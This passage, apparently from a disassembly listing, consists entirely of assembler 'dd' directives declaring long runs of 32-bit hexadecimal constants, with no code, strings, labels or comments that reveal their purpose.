		dd 11A227C5h, 0A0AE0418h, 8A7656h, 0DE27F388h, 0DCD9114h
		dd 28F89D13h, 0DCCB00FBh, 5F098C8Eh, 8958A7E6h,	80173F67h
		dd 77D20CFFh, 2C8857h, 2EC2E03Eh, 668B49F4h, 8555690Fh
		dd 182FC309h, 99DCCBBAh, 2087162Ah, 0D137721Bh,	4B58C579h
		dd 0EEF20820h, 9DB46002h, 0CE4B09C9h, 12A237F0h, 407C8E37h
		dd 0FAAC9330h, 2C0F6B0Fh, 58C6163h, 80F03AAh, 0AE0F49h
		dd 411A3F5Ch, 0EED7034Ah, 149B7798h, 0D1E05DEBh, 2FB8E6CBh
		dd 9D004871h, 35449EC2h, 791EF49h, 743EC7ACh, 0E183102Ch
		dd 0A1C5BFEh, 8A80F288h, 0EF4B913Dh, 0FABF1A27h, 0B4105049h
		dd 1428CBCAh, 0D900A896h, 0E9072EBDh, 286A84E4h, 363004C9h
		dd 0B0A0F7E2h, 2A20B878h, 2208410h, 3A830773h, 0D15BEEBh
		dd 8B0B9DFh, 7014C20h, 447A416Eh, 211E715Fh, 8FC06CDBh
		dd 0AF1118FAh, 27E3645Dh, 0CF5B409Eh, 2882CBA1h, 15094238h
		dd 74614048h, 0AF007F98h, 0CBC50189h, 74665C9h,	2A072B86h
		dd 0C2D9C0CEh, 0C90623Eh, 0E3AE301Eh, 0EE169107h, 4F208Ah
		dd 4A0F82C5h, 6D44857Dh, 2F78BA42h, 8C48D484h, 41001E10h
		dd 0E5181EBh, 1CF3389h,	9657A3F3h, 4028BE64h, 8535B1FBh
		dd 5297770Fh, 0C4B40051h, 0A29CE9h, 8A125957h, 0A86855B8h
		dd 84203456h, 3234F43h,	0B390E5B8h, 6D4BB903h, 0A0F3DCC8h
		dd 0F818358Dh, 0F90B007Ch, 0F62FE061h, 1E0F6F6Eh, 4E54DD9h
		dd 5620FDF3h, 0D6102E85h, 0C5089819h, 8978E467h, 831DFD32h
		dd 4B498280h, 3C6C8ACEh, 2055492Bh, 0D8B9B700h,	3B7DC915h
		dd 0EEA86DECh, 5B5F0440h, 42F188A1h, 3BE6C471h,	661BB9C0h
		dd 50CF4D21h, 0E5577E6Dh, 0C0107520h, 64A8FB8Ch, 4BB8B3Ch
		dd 2D02A50Ah, 254CF100h, 9B5B29E9h, 0C700C7A8h,	5F269A4Dh
		dd 81D962Fh, 1706BC2Eh,	1186652h, 0C95D58A6h, 0C180300Dh
		dd 0F1B0E0D0h, 0BD5331F4h, 37752620h, 0E1201615h, 70BCED4h
		dd 0F8A0ACB3h, 7BD5DF70h, 0E40601FAh, 0BC9C4CFh, 0C2ECFC36h
		dd 1400F978h, 29AD8633h, 0C0D1F0BAh, 0E7B38828h, 2B29BF73h
		dd 82F82002h, 0E5A30AB3h, 0F240B9EAh, 0C020FC88h, 28DB371h
		dd 503ABE21h, 73423524h, 67378BC1h, 29605E23h, 0D5602028h
		dd 85F266EFh, 0D33C3C44h, 28426679h, 34E0A1h, 4113D550h
		dd 0FFCEEC1Ah, 3100A57Dh, 825827D3h, 14D837Ah, 0D2303FAEh
		dd 0F026C1ECh, 8D0169B4h, 0CFC7960h, 0F4E09D02h, 0E951211Bh
		dd 70FAF940h, 8FEB7A14h, 56B08810h, 3604C3C4h, 0CD321E3Ch
		dd 48426C78h, 0C700E094h, 37D8C86Eh, 947C24D2h,	0CDA820A5h
		dd 7902208Ch, 0CF107D7Ah, 0E140BC18h, 6EC0600Bh, 4711E3B0h
		dd 58C4C83Eh, 0D80AC786h, 0C029CD52h, 41186054h, 0F2713CA0h
		dd 0FF1D28C1h, 2C41B67h, 7F51E433h, 0AC1800FCh,	26C9AAA9h
		dd 0EF072877h, 3745C40Eh, 0E7AD16C0h, 1E089047h, 7208B99h
		dd 8AAB186Ah, 3922CF20h, 8152987h, 96701DDAh, 8D4611A6h
		dd 96A6F2F1h, 0A7700840h, 215414E0h, 97C71B32h,	0BC371222h
		dd 0C0364320h, 0A2E54953h, 82948F9Eh, 0C98DB060h, 0A3C74290h
		dd 0F500ECEEh, 9BC91C2Ch, 9202DFF4h, 0C1696EDDh, 7004406Ch
		dd 0CF9300E2h, 0D96F03CDh, 847C5E4Fh, 6534BE1Eh, 6A5822C0h
		dd 1E47ADDAh, 1579F7BCh, 2401206Fh, 0F94F2EE2h,	0C8880AB6h
		dd 80119680h, 9FC86FDh,	3C7A2B33h, 8DFE48B8h, 514B1E21h
		dd 689814D4h, 99B20235h, 0DF418939h, 20D8523Eh,	5BB4FFC1h
		dd 269D0A01h, 0A49F7888h, 0CF82E893h, 656B2A47h, 21E44268h
		dd 7BFD021Ch, 0D230F73Eh, 6D20153Ch, 29C0204Eh,	0C4B8ABCh
		dd 3C38938Fh, 2F155348h, 0E1607E68h, 10A185Ch, 0FA76C45Ah
		dd 205E7714h, 0E01A3010h, 52877A20h, 34A1800Dh,	74205817h
		dd 71DFC400h, 0BAC933BFh, 0D81A00ABh, 73C2F340h, 550F3E48h
		dd 0DAEAF2h, 42160152h,	761C005Bh, 3340D92Ch, 26089F1Dh
		dd 0F8CE8AFCh, 850236h,	46AD1D2Bh, 1523D422h, 8BEC7BBh
		dd 0A1D1150h, 3CA973A6h, 0FFFAF060h, 1D440085h,	2A3F2EE6h
		dd 0D3C6CD47h, 20841068h, 4F04C57Bh, 0CE8CC48Bh, 60AEA67Ch
		dd 841E40C0h, 47CD8E2Dh, 0FF8284B5h, 7A144838h,	0A8803B4Ah
		dd 240AEAEh, 0F054204Dh, 0C095CAEDh, 1DB3AA10h,	2A2BD588h
		dd 7EA13042h, 2604ACFh,	6BDD9880h, 0CEFE3ECEh, 1B1D20A5h
		dd 0C069E805h, 5366A07Ch, 59C80CFh, 78278385h, 0A0A79640h
		dd 0FA0A6281h, 481F1A68h, 8220429Eh, 458C0AF4h,	819E66C0h
		dd 125A6703h, 90B2FD38h, 0F247CCD3h, 7EF85Bh, 33AC9228h
		dd 2EB455C3h, 2864DA28h, 40D8FDB0h, 72CFF50h, 382D7E55h
		dd 0FB5D63CDh, 0E00E74A1h, 2730D536h, 0C2DF384Bh, 3F923147h
		dd 0F59E51h, 0A454F80Ch, 0C05B1020h, 542FE1D7h,	0EC46C88Fh
		dd 0C9F8438Ch, 60C3CA3Ah, 0A3BEB418h, 0F0DF814Ah, 70C3AD97h
		dd 3B724446h, 5E00C919h, 9958FD88h, 5B006E78h, 0A8C164CDh
		dd 18D6F281h, 38D1EFC2h, 88A04933h, 0E0569CDh, 3D39AD4Ch
		dd 0BA3EB800h, 2B9CC4h,	92F8CF95h, 0DAA4C5D6h, 97756B00h
		dd 15D7EB1Fh, 447828ADh, 535C0E88h, 5B8112A3h, 815E99E8h
		dd 80F00758h, 76C09062h, 58DF7643h, 229725Fh, 8C8F94C8h
		dd 0AB4B4800h, 2B1AECEBh, 0BC36823Ch, 3CC10120h, 0FC3B7491h
		dd 0A9A5E443h, 0F9C43FC3h, 98F1007Fh, 789BB066h, 80ED25FCh
		dd 5DD27478h, 14F404EDh, 0F0244280h, 0C036D185h, 1AC49A7Eh
		dd 673E38h, 0DE855F9Dh,	0EEAA8Ah, 7B478630h, 2B74F2A4h
		dd 8077C43Dh, 5D9B146Dh, 291F69D1h, 80A4280Fh, 89670C46h
		dd 0D4F540DAh, 18C3C530h, 58DFA2h, 0B5FFDE91h, 6BAF64D9h
		dd 0F04EF43Dh, 0D89BC426h, 38733B01h, 6F30C5ECh, 39580017h
		dd 0E8A09E05h, 5078C0A1h, 0EF4B27Ch, 8AEB2900h,	0FB7CCD8Fh
		dd 5818C0E3h, 96874394h, 28AE4B07h, 0CD505097h,	1B05A35h
		dd 0E6DBC884h, 0E07B9C04h, 3B64E145h, 9E800938h, 308F67EBh
		dd 527828EAh, 0E51D109Ch, 96405CC5h, 6C771C23h,	5D7C0FCBh
		dd 16EF05B2h, 0EA8AC4A1h, 0BA9BC897h, 4864DC00h, 0CFA021E8h
		dd 42C300C9h, 0F0A89CD8h, 3D3EF1D4h, 6DA68004h,	2B582564h
		dd 78CD00FFh, 9B48C1BEh, 9F01E0B9h, 797C1AA6h, 18811F49h
		dd 94661D9Eh, 0CCDF041h, 0C9EC0E01h, 0E861EA8Bh, 7AA33080h
		dd 0D8B6B825h, 4E644500h
		dd 0B26FDF54h, 0D06B00F6h, 0C508CB78h, 80C0056Eh, 290BE1Ah
		dd 0ACE80604h, 48CD0B17h, 25988303h, 22238F36h,	5513718h
		dd 4510E04Ch, 7100C1B8h, 48BCCE6Dh, 0C1AD09FDh,	0FA5D9120h
		dd 21504318h, 92F04790h, 0C7614201h, 0F63845A7h, 607D1047h
		dd 0CC8D886h, 0C1F060CEh, 8237B100h, 0CAD8C76Bh, 181D639Ch
		dd 0F140AD57h, 0CB2A0890h, 14767099h, 58DE3431h, 87E1E48Fh
		dd 4C7330h, 93FB503Bh, 0C145ACB5h, 6617C600h, 0CB873805h
		dd 0D0711D19h, 270BC042h, 0EE433FF9h, 72F3F9C0h, 18B28BD6h
		dd 68FB0E16h, 1B3ECFC4h, 0BB641481h, 47910088h,	0A550FFC2h
		dd 1B80C0E5h, 6D418666h, 5D71E803h, 0E0D4966Bh,	63403EB5h
		dd 4A7348CBh, 83BBFDFBh, 3112E170h, 10059CD7h, 0F840657Dh
		dd 71754616h, 6BEA0089h, 21510222h, 9AF0881Fh, 0DD89400h
		dd 13A2BB4Ch, 4B6703ADh, 923AC547h, 0BEF51000h,	982B3E75h
		dd 8FF008h, 11629AB8h, 0FCD0364Dh, 0A834CE14h, 7D4C1EE4h
		dd 3E0D5200h, 1817C3Fh,	0BA9ECB79h, 8292FAB8h, 0D615B490h
		dd 285844FBh, 110C9E8Eh, 8BC65AEh, 88A69FE2h, 9644CC0Eh
		dd 59192E40h, 0ABF8A412h, 0DB490924h, 238C51Fh,	7ECDAD0Ah
		dd 168C8084h, 90A904F6h, 0EC6B07CEh, 799420C7h,	0C81CBC00h
		dd 0A0A880CBh, 0B373E9Bh, 85BFE89Ch, 0C041CE1h,	0CA469977h
		dd 592A3198h, 6115F42Ch, 9CCE966h, 207318F0h, 0A03E9934h
		dd 0F014903Ch, 0E53D28CFh, 98011060h, 4CFD2439h, 49882423h
		dd 0BDEE6091h, 0A8A0E64Fh, 90A4E13Dh, 1D8FCD08h, 303E14A4h
		dd 0DAE1F681h, 0DB2A309Eh, 81A918CEh, 0C6E420CBh, 42DA804Ch
		dd 7283ABDh, 8F59ACD8h,	0AD7AC571h, 0FFA3F880h,	0D5D09518h
		dd 0E3CDEA01h, 0B2C00E14h, 0C4835820h, 351F88h,	167A9D9h
		dd 0F429502Dh, 664500C3h, 0E6503444h, 8F78C83Ah, 0E8E88D30h
		dd 293DDD88h, 83C6318h,	0F964A782h, 8ADD0470h, 1D432384h
		dd 6241E908h, 19303554h, 81086F3h, 0BAC2CD99h, 0E9110A1Ah
		dd 0D421941Ch, 1C370888h, 0BC5889C1h, 0C710DA09h, 2C3E1297h
		dd 5044657h, 3D3730AAh,	3F50A9FEh, 0C0798338h, 0B764FA20h
		dd 1F522FCDh, 0C5E13F30h, 0E6183084h, 7FDF4085h, 9A2B8179h
		dd 4D5605F8h, 318518FBh, 4CFCDC60h, 60A673D8h, 2B86A173h
		dd 49C29D4h, 228791E1h,	0BAD8B894h, 0D23868Eh, 0E05C0A1Fh
		dd 19DB883Ch, 0D862D5C5h, 0A53C98DCh, 0F579408Ah, 944C2C79h
		dd 0F4E801C4h, 0A0071E49h, 52C09C24h, 51141C1Ah, 4CC5F4D3h
		dd 525820A2h, 578409F6h, 6C1094D9h, 1D63C4B0h, 52364161h
		dd 3C98B458h, 87423CB5h, 4630E824h, 2B22C0AEh, 313E6265h
		dd 54AECCF9h, 724871D2h, 0D5AC4CA8h, 0CD854A0h,	5A41609h
		dd 36E4068Ch, 904A5531h, 0D301318Ah, 0B3E4426Ch, 8C1CAB18h
		dd 0BCCA5510h, 7C33129Fh, 18A47560h, 4FC78C11h,	9F084BE7h
		dd 9C941518h, 37E0DDC5h, 6198A484h, 290CD40Eh, 0B9E0D8AEh
		dd 34332386h, 6778A108h, 75C4F864h, 0ACB81498h,	9F3213Ch
		dd 5CC21911h, 0A3118A92h, 0C343211Ch, 68D2811Ah, 29B93C01h
		dd 93C40879h, 8C2E84A8h, 0D365212Ah, 203DC114h,	0FC89A03Dh
		dd 2D4F4D04h, 5CC1181Bh, 618A3BE8h, 936CCA29h, 9DEC2284h
		dd 0A2684440h, 89E212F1h, 43D892D8h, 892E428h, 0D060A4FEh
		dd 0D831CC9Dh, 0A68C744Ch, 919AE460h, 9C159544h, 32DCA8C5h
		dd 9D3897D8h, 29BC42B2h, 358A3CE0h, 0BC946CD1h,	17D6CF3Ch
		dd 4FA35C00h, 0E2811DABh, 591A07AFh, 415F5455h,	0E8938830h
		dd 0A606EF9Dh, 3664855Bh, 1DE33B18h, 3CEEF81Fh,	66537400h
		dd 0DDE8C3Ch, 9045960Eh, 0B699CA35h, 0DBBF5900h, 0F87B8E73h
		dd 124AC7Fh, 38F22668h,	851C05Ah, 7A542086h, 373DC51Ch
		dd 0DD675941h, 198453BAh, 3450EDEh, 18587C55h, 828D550h
		dd 6B03BA4Ch, 9F93AA02h, 70400E31h, 0A0A37582h,	2DE76107h
		dd 8EF6F428h, 0A4714F00h, 2F891A31h, 382F834h, 91C9B7DEh
		dd 2BB39F5Eh, 0EAC593Eh, 67A09B6Bh, 94BA2049h, 0A337D041h
		dd 0CCDC0C0Bh, 0A970E0E5h, 26E8BC94h, 6081C03Fh, 5F938756h
		dd 645A11C5h, 980E141Eh, 0DA8F802Eh, 10EA95Bh, 90446996h
		dd 9826ABB6h, 0E0E18438h, 39AA00AFh, 9872BC43h,	77602F08h
		dd 95D56788h, 3538C262h, 0A89029BFh, 0DB533653h, 6A300EA4h
		dd 25D8603Ch, 0BB2CCFh,	7BBA23A6h, 5407888Ch, 0EC3028C3h
		dd 909820D1h, 0BFFBBD07h, 65804092h, 522C6438h,	0E63B983Bh
		dd 5E84F73Fh, 0C37D8B2Fh, 0E128377Eh, 0B7486813h, 28B128E4h
		dd 7BA88011h, 60E3C014h, 0E6DEB706h, 0D1052891h, 7E49862Ch
		dd 746BBC03h, 4D41C125h, 0B9870840h, 0C8ACA875h, 3DC6038Eh
		dd 17AF0785h, 66E033D3h, 7B79B6F6h, 510A9F7Ch, 0E0BF494Ah
		dd 5E5B2941h, 0E8485CE5h, 0F0601585h, 887830D7h, 0CB441EE0h
		dd 0C6B77F03h, 0B0F6D218h, 7103E085h, 0E1413C33h, 32F15752h
		dd 0DC45DB30h, 0BA740F91h, 0ADD3810h, 0C8D39141h, 0CC8EF98Fh
		dd 312D689Fh, 9319D21Eh, 45B6D4A1h, 0F2A1A460h,	48CA1DE1h
		dd 0AC12E09Ah, 1848106Ch, 2BBA0A78h, 80B4A54Ch,	0AF6CC032h
		dd 2618A039h, 0B9A87102h, 7D883006h, 1AA530C0h,	82388048h
		dd 40AD728Eh, 938D0Ch, 0A6E92BABh, 2455EE6Fh, 2831B091h
		dd 0A502A7E6h, 26C83D1Bh, 7A031861h, 0F030806Bh, 35A4EAE3h
		dd 1A60006Ch, 0DE869918h, 2C988F11h, 92DD7F00h,	0C75BDBFFh
		dd 50E11FE3h, 2D02A47h,	0C97C894Ch, 6440684Dh, 2BE88AC7h
		dd 69822D18h, 2A0E6540h, 12C85B46h, 217A75DEh, 1B2C62Ch
		dd 0F3E846D9h, 16EF408Fh, 0A8790730h, 772E6D09h, 3A5492D0h
		dd 31C425E3h, 48DE3628h, 1C06D118h, 0A413BB51h,	0FD691EA8h
		dd 66FE0CBDh, 310CCB10h, 0C1184647h, 4020020h, 35A1F6AFh
		dd 0DE0C3987h, 48DC3D32h, 8BB6312Bh, 0F01D79B1h, 31502DE6h
		dd 0B52859B4h, 0B9022C0Eh, 935C3409h, 0C2370062h, 0C413356Fh
		dd 1C0C2223h, 9124198Eh, 5F2982ECh, 24A7A95Eh, 0FE533717h
		dd 79EF02E2h, 0DBC34890h, 482AB513h, 0F684EC42h, 80B70529h
		dd 0D30EE425h, 0F5856C14h, 0BAC78130h, 818F4164h, 0F8E5C1D4h
		dd 4084045h, 1316EB47h,	4747248h, 6FC5331Bh, 0F8590880h
		dd 0F07D501Ch, 1E267029h, 4A69E2Dh, 0CD212F9Bh,	6B83DC3Ch
		dd 6B65D40h, 1A55E17Ch,	0C8706979h, 85176312h, 3901685Eh
		dd 3BC27FEAh, 0FC09034h, 1B69D32Ch, 0BF6820F3h,	0B803AA19h
		dd 0DD605A6Ch, 38884C70h, 0CAE1060Bh, 0A50A180Fh, 0E8A834h
		dd 2B080721h, 0A348C26Ch, 2C59CA00h, 0A952CDE5h, 3F5B00B8h
		dd 5E2122A7h, 613C6482h, 67130090h, 520CBD70h, 3D4800EEh
		dd 24D68B1Eh, 8A003889h, 25903693h, 0C94B12h, 2E0A9685h
		dd 0F2B195B9h, 23D128C0h, 0C3AB1D44h, 0BECAE468h, 50325900h
		dd 0DC3E1720h, 2E043E0Eh, 0EE684E01h, 0F729798Ah, 20072829h
		dd 3FB29807h, 19E5C480h, 0AE9200ACh, 0F1650534h, 0E302BF7h
		dd 4B85B830h, 669B0D9h,	422CBB53h, 0F4601835h, 48247178h
		dd 0AAC1096h, 362014F1h, 7F5A0010h, 0D35C8DBBh,	92DB3D12h
		dd 0BF523DF4h, 0A3B99Eh, 0EE67109Ah, 0A2785CD3h, 623CD442h
		dd 1E90180Ch, 0A30CB511h, 31176FACh, 0A020CA4Dh, 48203380h
		dd 87FACC1h, 92711B87h,	103C504Ah, 38180CEDh, 0F0E85109h
		dd 213763ACh, 0B8B6DFA8h, 7CAE610Eh, 0DC80AA97h, 8E45F19Ch
		dd 0A8045389h, 2C48DA5h
		dd 2E9A1803h, 0AB678896h, 0E36D0059h, 0DCCA8039h, 80F31B70h
		dd 8A57CE91h, 7D75CB4Dh, 0C7A3001Ah, 12BA5355h,	2C0325F9h
		dd 2D2ED60Fh, 8038BAADh, 97614AF8h, 0F49854A2h,	0A919003Dh
		dd 0F12EEB1Ch, 0CF01DAEAh, 0CC52561Eh, 1820BBA5h, 3AD0043h
		dd 6C24F21Fh, 4EB8064Fh, 4D501904h, 189098F8h, 48292C5Ah
		dd 0A61404C1h, 822F8F6h, 0B9FEE518h, 11FAD1h, 35B0C101h
		dd 0AFBA2812h, 802318CBh, 0A96FB80Ah, 1A3D030Ch, 60F80E91h
		dd 3179B022h, 1071153Ah, 0F34222Ch, 53D0E83h, 2001E108h
		dd 0F84267A7h, 0AC701841h, 6648EC50h, 0EF8A09A9h, 6008D7CBh
		dd 71FD8024h, 59A15393h, 3C8A3F24h, 0AA499683h,	9BA812DAh
		dd 2E20408Fh, 5C3F9482h, 0F87B2D30h, 54FDFBh, 0B55E47B3h
		dd 0A379A1BBh, 7C24D306h, 7C81C018h, 55D28BEh, 6131F8C8h
		dd 20F019ABh, 0DFA3FFCBh, 13A7B2A1h, 12B02872h,	274F1F08h
		dd 14246Fh, 6503E646h, 7002EDABh, 0BB1732F2h, 0F97C4105h
		dd 10C86A08h, 839744D5h, 5178C594h, 2870D93Ch, 36210CAh
		dd 110830h, 0CF49CBF0h,	37059371h, 0B5770FC0h, 83F6F01Ah
		dd 988D9F60h, 0B0C71E56h, 1976310Ah, 844C13A0h,	0CA6C9C38h
		dd 0AFAD8082h, 8B4F8FE4h, 566F00EDh, 0C3501E27h, 8679BEE1h
		dd 5D8E1818h, 921D5388h, 907460A8h, 0BEEC93A7h,	0F8439105h
		dd 0F0408A5Dh, 0EE6027F0h, 25FD39E1h, 66D2CC1Fh, 5C8914D6h
		dd 16F4E504h, 0AF38D17Eh, 4DB660A3h, 0BE6D08A0h, 0C574A6F0h
		dd 1D011F81h, 413712B2h, 861799D4h, 4F202060h, 0DE800C7h
		dd 88CBF329h, 0E120219h, 3C232EB9h, 7BB6A845h, 6F9301A0h
		dd 37A6BA3Fh, 48C0B8EBh, 0A4C52680h, 0B48E4E41h, 990034h
		dd 952E57A4h, 6F09CAEDh, 0A9544771h, 35000A98h,	2EAF2B42h
		dd 0A84652h, 0FD32D33Bh, 319A5CA9h, 3963D200h, 0D1C94927h
		dd 3ECD0E42h, 75806A0Eh, 40A243DBh, 77C1A100h, 4925382Fh
		dd 0C022FAA9h, 9488FE50h, 65EA9857h, 76F60C0h, 0CCD6AFh
		dd 0EE10D24Ch, 6EEC0B5Bh, 0DDEF30C0h, 0C7E4A1A2h, 0C076C611h
		dd 45EDF0BAh, 6F7C5772h, 0EF002378h, 0A2081DC9h, 0F3D034Ch
		dd 0BB8E821Ch, 0CC3B2183h, 0EA511803h, 252FFE2h, 0D6995738h
		dd 883B788h, 0A5C1D513h, 2DBCE04Fh, 78145F30h, 0AF76307h
		dd 8BBFC34h, 3CC8808Ch,	0AE6F6BE7h, 8595B106h, 3914AE0h
		dd 2DA70E8Bh, 400315D8h, 63BC40D2h, 0C360FB0Ch,	0A7281D51h
		dd 0B1E44011h, 8FEA9E9h, 0F4B4D400h, 7C65409Fh,	0AF4C2EB8h
		dd 69DF038Ch, 78395CB9h, 67E70D98h, 80E38979h, 60073BE1h
		dd 0ECC5105Bh, 0EB015FE2h, 0C094024Ch, 1720E745h, 26250027h
		dd 0BE4E6818h, 0E6E0E230h, 3F19ED0Ah, 0E830900Eh, 10934010h
		dd 2B85BBh, 764E0AC0h, 300ED9C7h, 1410EFE8h, 57601EF3h
		dd 0D25F9C71h, 0FE2B0144h, 864D2EEEh, 0C21C408Ah, 623C29CBh
		dd 3E27CC2Dh, 21A8D32Bh, 0FAD38109h, 0E6E85F61h, 0AA058C9Eh
		dd 0CB272189h, 0A45FE833h, 46524E60h, 6A7C3584h, 3D506021h
		dd 4492939Ch, 9966602h,	0A0AF2D6Ah, 88FC2FD8h, 0C04955A9h
		dd 90775182h, 80A289A3h, 0C0041D73h, 0D710308Ah, 0CDA70649h
		dd 714EC4h, 794BB5ECh, 0F14360FEh, 0A1E22A1Eh, 0A3307EC2h
		dd 0B0C888B8h, 9C60C712h, 8F2BBCF3h, 92C30D70h,	5130184h
		dd 40C76DAAh, 675181EEh, 0D2705EDFh, 0D6CC1DE5h, 6BCA4EFh
		dd 777A995Fh, 0AE3E1154h, 0A7438A1h, 0A8BC4F0Bh, 6FDA880h
		dd 0C1868C63h, 4DF9D770h, 0B8889E1h, 0C0441B6Bh, 0A09420CEh
		dd 18460284h, 89EDC45Eh, 0C0F040D7h, 20BB9E37h,	0A80CD133h
		dd 0FC2DEF16h, 27770E8Ch, 0CD8072DBh, 8BC46BAh,	760D4772h
		dd 49BBCE5Eh, 0A03D0DC8h, 78F6FE8h, 0C49823C3h,	30CAF749h
		dd 6A314C02h, 723AAE1Eh, 0D9C150F1h, 38BDE3C0h,	0D1809B1Fh
		dd 6AFAF684h, 249292E2h, 6B7812F0h, 270842F7h, 3091FF39h
		dd 0DA200382h, 92DE69BBh, 1D8C4861h, 1BF874A3h,	0A0BDC96Ch
		dd 0A783CE0h, 0D7428207h, 0DA265BCEh, 588D0CC9h, 0FB51EC30h
		dd 67C52006h, 31102B51h, 1D29B979h, 7E618A6Bh, 98A0D483h
		dd 79601C63h, 1F2902BDh, 0B53C07C2h, 8F8C04Bh, 9CA4CD5Eh
		dd 84343D09h, 7ED400E8h, 501BFAB0h, 802FB009h, 60806FCCh
		dd 0ABE50069h, 0C217EF45h, 249E2D6h, 0A05A18CCh, 89529B10h
		dd 109302A2h, 6BF0D54Bh, 980218A1h, 0AC21A310h,	6A4603ECh
		dd 6D04CE4Bh, 10027019h, 8420C80h, 91C7060Fh, 71FACC01h
		dd 5189D54Eh, 80D08050h, 3E4202E7h, 0DF8635F6h,	0D5BA8891h
		dd 0EE46006Ch, 0E3EF2419h, 4B050254h, 6463BF66h, 0FAB10F88h
		dd 87045D00h, 0F1C9EDE5h, 1A28C0BEh, 581273Ah, 7BE06B00h
		dd 6231BB8Dh, 42093E8Eh, 341E5FBEh, 0C2987h, 7C7B639Eh
		dd 0A80050D0h, 794EF2FEh, 7627644h, 3C74C9A2h, 84409A35h
		dd 80965EA1h, 277C3A84h, 7818564Ch, 796320B0h, 0B0C9D2C1h
		dd 0F4A9299h, 2BF62C4Fh, 0B0180052h, 0B8591A52h, 5C0A549Ah
		dd 0FC8294D0h, 0AE50723Ah, 2B06F1B8h, 5718534Fh, 30F9E2B0h
		dd 2AE8B12Dh, 0F090EE1Fh, 5B6FC002h, 60B27B70h,	59FA4180h
		dd 0D20468E1h, 0C078616Dh, 6CEC6728h, 17FAE3Eh,	88665723h
		dd 0E0202663h, 0F3625C21h, 0FB524A0Bh, 867EDC18h, 96061671h
		dd 5A89D681h, 0D1BC26D8h, 59D91852h, 0A840C134h, 163D3BD2h
		dd 2BDD1862h, 0EABFBC68h, 0D1110602h, 83A42F21h, 0B07B0588h
		dd 0BBFFAAh, 0D797D8E6h, 289E6A55h, 815F0D07h, 0D350DEBEh
		dd 148D61FEh, 0AC736CDFh, 0FC4E2187h, 531405B0h, 38CCE45Dh
		dd 0EAF399D1h, 4C322318h, 0B0C21518h, 0C840BC8Bh, 440C14ECh
		dd 894084A6h, 0E3D900BBh, 8B304516h, 1E0362F6h,	4ABE390Ah
		dd 42F87C89h, 0FF010857h, 4D3884C8h, 0D8C244A6h, 0C8E72138h
		dd 9744CECAh, 827520E8h, 0E2208A02h, 159FA7D8h,	0CD26C880h
		dd 90852C54h, 0D96E1708h, 6C600241h, 4040A042h,	5E07B13Eh
		dd 8955C38Ch, 0C8934E25h, 6882C5h, 61D39C67h, 3D3C7A48h
		dd 0D9F8039Eh, 156036Dh, 34F31C20h, 0E6188827h,	0C6232096h
		dd 11010065h, 3BE97381h, 0D1EB7806h, 18F0D9D3h,	0C16460DFh
		dd 8701A3E1h, 3DCEF694h, 0D8646575h, 516099Ah, 8001FE97h
		dd 242BAAA8h, 0BAEC986Ch, 0E679809Ah, 60921900h, 9C4E8095h
		dd 608274A3h, 0BAA821CDh, 41050D19h, 40CA77FBh,	0F1ACC8h
		dd 0C5870BA3h, 0D1918F90h, 650B73ECh, 8247ADB9h, 648E5EC4h
		dd 2B30C1B4h, 8040351Dh, 0BC14F11h, 0CB2D78Bh, 8905E9EEh
		dd 2C601A08h, 0BB94A20h, 28E31F10h, 13007F4Eh, 21D7E7BFh
		dd 0D890D667h, 3E8CE4A0h, 0ED0CB4B0h, 190851F9h, 4A583033h
		dd 0C7214D80h, 1C24CCB2h, 0FD11F81Dh, 725A0300h, 2ED04359h
		dd 1A396F00h, 85712AA5h, 38241D80h, 4CA0007Dh, 945C5A90h
		dd 4003377h, 3AD2CA2h, 98EC0A34h, 779000BAh, 4415DFC0h
		dd 407F7554h, 0DD33D000h, 0DE095C5Dh, 1C91008Ah, 0FF642E8Ch
		dd 7A1DCE7Fh, 1524E707h, 0E13A2400h, 7E103B1Ch,	3BD00F9h
		dd 68DC0D9Ch, 211E0151h, 0A3C06113h, 0C15D575Ch, 71E4B8h
		dd 0D70164Ch, 0F68F5B0Eh, 2BB1A100h, 0AFA0C984h, 0FA95008Bh
		dd 0F0E06D5Ch, 560CC499h, 1888A557h, 84BB0079h,	0BA85F750h
		dd 0FD1DFB9Eh, 203032ECh, 0E031F8h, 0CBBD1767h,	166584Dh
		dd 6A75D203h, 2C2E9B72h, 1D0E3A4h, 8B703A05h, 243FE047h
		dd 1C3BCA00h, 0A28208B2h
		dd 5F0B00D5h, 0E488FCD3h, 7100B453h, 0D8C80627h, 3CD9ABD2h
		dd 4E0629C4h, 28CFB94Dh, 0EF30A3F8h, 0FE40188Dh, 998EE1D0h
		dd 0D30058E3h, 3A04E57Bh, 0DB38F61Ch, 7DBDDD09h, 13A97B83h
		dd 919B8FEh, 8680F9C2h,	936DC117h, 47588392h, 0F8309860h
		dd 1F3CC68Dh, 216B3Fh, 6CF54B52h, 0A9F885FDh, 0CB04340Ah
		dd 0D200949Bh, 0C1367C88h, 3F3700CEh, 1FCFA9Ah,	0CF504BD3h
		dd 4221FD48h, 93810478h, 7D0F0169h, 0C89DCB6Eh,	0E8879853h
		dd 888DC35Fh, 872CF4Bh,	0E50EC0E7h, 829C9F27h, 6881D48Ch
		dd 0B66938E1h, 0A24E7D02h, 0F8808A7Ah, 152BE420h, 0A50BDB03h
		dd 98503C48h, 46BE5Ch, 3DA48772h, 1EE544BDh, 0BA833Eh
		dd 6CBCCAA3h, 0AF5E96h,	2ECEE602h, 0DE228C6Dh, 8BF489A0h
		dd 0E9E17700h, 0DA21CA16h, 0A865079Dh, 1782B128h, 0CB85F0A1h
		dd 0D576D84Eh, 0EC83CC00h, 7163E204h, 406D1F43h, 8DD98036h
		dd 0D684C320h, 162A2F00h, 3E10C67Fh, 4FC91C07h,	0C392C719h
		dd 906AC76Eh, 0B57CE001h, 0B87B8A39h, 0B6310006h, 82AE17ADh
		dd 0DAF10154h, 39840ABh, 8563D84Ch, 1E000C72h, 9E97E020h
		dd 0ABB92Fh, 0DC5D49A8h, 1D0F7C9Bh, 50154200h, 0E3520E53h
		dd 0C34EC18h, 63B86C14h, 19004C10h, 0AE552E59h,	4E600Dh
		dd 26538461h, 62F20394h, 6D58BDh, 3B90AAB3h, 0B7FA7D92h
		dd 66004AE6h, 6772946Bh, 0F991B37h, 4C479AB2h, 1A5D6D80h
		dd 84001E8Ah, 0A726086Eh, 3E6A94h, 0F64C88CDh, 813DDC4Bh
		dd 86A28300h, 51020FC7h, 6B5A0393h, 0B482B566h,	8D57213Bh
		dd 0FAD3E95Bh, 11BCFECh, 40FED57Eh, 0EC9B7D71h,	4FEA14AEh
		dd 98191300h, 0A0084EFAh, 0B236057Ah, 0C06842CCh, 0D671375Ah
